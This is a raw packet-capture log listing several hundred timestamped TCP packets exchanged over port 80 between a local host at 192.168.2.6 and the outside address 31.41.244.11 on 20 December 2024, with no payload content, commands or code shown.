Dec 20, 2024 17:43:22.451114893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.451164007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.581844091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.581934929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.581978083 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.581979036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.582304955 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.582355976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.582503080 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.582550049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.583477020 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.583525896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.583657026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.583703995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.584590912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.584659100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.584738016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.584794044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.585796118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.585844040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.586070061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.586116076 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.586977959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.587024927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.587485075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.587536097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.588167906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.588232994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.588392973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.588466883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.589325905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.589382887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.589855909 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.589910984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.590619087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.590672016 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.590919018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.590967894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.591698885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.591748953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.591886997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.591933966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.592900991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.592956066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.593065977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.593113899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.594100952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.594149113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.594280958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.594358921 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.595477104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.595530987 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.595563889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.595604897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.596472979 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.596528053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.596659899 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.596708059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.597671032 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.597728968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.597754002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.597796917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.598921061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.598969936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.599344969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.599396944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.600035906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.600083113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.600215912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.600260973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.601171970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.601221085 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.601294041 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.601336956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.602365017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.602411985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.602513075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.602560997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.603642941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.603688002 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.603842974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.603892088 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.604728937 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.604775906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.604863882 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.604913950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.606220007 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.606270075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.606327057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.606370926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.607176065 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.607229948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.608005047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.608052015 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.608335972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.608349085 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.608378887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.608407021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.609518051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.609579086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.609590054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.609617949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.610663891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.610708952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.610713005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.610754013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.611865044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.611877918 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.611923933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.613018990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.613074064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.613441944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.613502979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.614787102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.614835978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.614870071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.614916086 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.615966082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.616031885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.616075039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.616113901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.617125034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.617172956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.617346048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.617403984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.617760897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.617813110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.618083000 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.618138075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.619035006 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.619106054 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.619530916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.619582891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.620183945 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.620244980 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.620286942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.620335102 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.621573925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.621629000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.621850967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.621897936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.622514963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.622565985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.622870922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.622919083 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.623697042 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.623749971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.624254942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.624301910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.625097990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.625149965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.625308037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.625359058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.626075029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.626127005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.626166105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.626219034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.627281904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.627337933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.627435923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.627482891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.628475904 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.628535986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.628618956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.628668070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.629592896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.629648924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.629712105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.629755020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.630835056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.630901098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.630919933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.630966902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.632044077 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.632098913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.632113934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.632158041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.633167028 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.633219957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.633239031 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.633282900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.634385109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.634423018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.634443045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.634457111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.635591984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.635680914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.635684013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.635730028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.636759996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.636818886 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.636951923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.636993885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.637923956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.637984037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.638108969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.638154984 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.639117002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.639169931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.639241934 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.639287949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.640362978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.640424967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.640461922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.640507936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.641458035 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.641504049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.641519070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.641560078 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.642656088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.642745018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.643332005 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.643393993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.643877983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.643923044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.773720980 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.773844957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.773854971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.773906946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.774230003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.774279118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.774502039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.774550915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.775443077 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.775497913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.775532961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.775576115 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.776599884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.776654005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.777060986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.777112007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.777766943 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.777816057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.778024912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.778074026 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.778963089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.779015064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.779203892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.779253006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.780147076 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.780199051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.780842066 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.780891895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.781322002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.781397104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.781421900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.781434059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.782512903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.782567024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.782800913 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.782849073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.783706903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.783759117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.783796072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.783843040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.784893036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.784944057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.785026073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.785094976 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.786097050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.786159992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.786185980 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.786226988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.787300110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.787343979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.787539959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.787591934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.788441896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.788492918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.788568020 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.788614035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.789694071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.789747000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.789810896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.789855957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.790807962 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.790857077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.790909052 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.790966988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.791981936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.792051077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.792258978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.792305946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.793169022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.793217897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.793509960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.793555021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.794375896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.794424057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.794509888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.794555902 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.795531988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.795577049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.795706034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.795749903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.796715021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.796762943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.796963930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.797008991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.797890902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.797940969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.798562050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.798612118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.799091101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.799138069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.799582005 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.799628973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.800307989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.800321102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.800358057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.800374031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.801465988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.801513910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.801522017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.801569939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.802642107 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.802694082 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.802792072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.802839994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.805383921 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.805438042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.805474043 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.805488110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.805515051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.805532932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.805722952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.805773020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.806220055 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.806266069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.806463957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.806509972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.807451963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.807503939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.807542086 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.807585955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.808620930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.808634043 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.808679104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:22.809756994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:22.809808016 CET	49732	80	192.168.2.6	31.41.244.11
